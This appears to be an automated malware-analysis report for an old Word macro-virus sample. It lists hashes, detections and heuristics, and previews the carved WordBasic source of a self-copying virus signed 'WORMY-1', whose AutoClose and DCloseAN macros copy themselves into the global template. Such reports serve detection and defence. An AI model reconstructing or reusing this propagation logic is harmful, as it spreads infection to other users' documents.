Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9a1ee9759d8758f…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 83aeee7592f165319a8e00099d886af9 SHA-1: a9b89d198fd5c7199a0aa2608ff6e9cecc45bb6d SHA-256: a9a1ee9759d8758f1843a61ce15f8527a7664fe088cac0e3a1e8ad521dcf33c1
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers and the presence of WordBasic macro code. The document body contains explicit references to 'RSN MACRO VIRUS Goat file' and mentions its creation date as 1997, indicating it is an old, potentially self-propagating macro. The primary technique observed is the use of Visual Basic for Applications (VBA) macros.

Heuristics 3

  • ClamAV: Win.Trojan.Imposter-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Imposter-4
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 614 bytes
SHA-256: 54cac676a4186c4ce63cbc4b2c7bd9277706a2464bf9717479f7e6ff5480a0fe
Preview script
First 1,000 lines of the extracted script
, 29551 29551
MAIN
, - * Abort
iMacroCount = @cmd80b7 0 , 0
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "DCloseAN"
bInstalled = 1
i
bInstalled
sMe$ = @cmd8025
sMacro$ = sMe$ = ":TCloseAN"
@cmd80c2 sMacro$ , "AutoClose" , ExecuteOnly
sMacro$ = sMe$ = ":AutoClose"
@cmd80c2 sMacro$ , "DCloseAN" , ExecuteOnly
@cmd802b "WORMY-1 by NAENBGOURSG" , 2
REM by NAENBGOURSG
REM SO.HT.AI.KS
REM 231076-GREECE
REM Thanks to NEURO
REM VRD 19-4-1997
MAIN
, - * bail
@cmd0054 = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoClose"
@cmd80c2 "DCloseAN" , sTMacro$
sTMacro$ = sMe$ = ":TCloseAN"
@cmd80c2 "AutoClose" , sTMacro$
@cmd0053 25625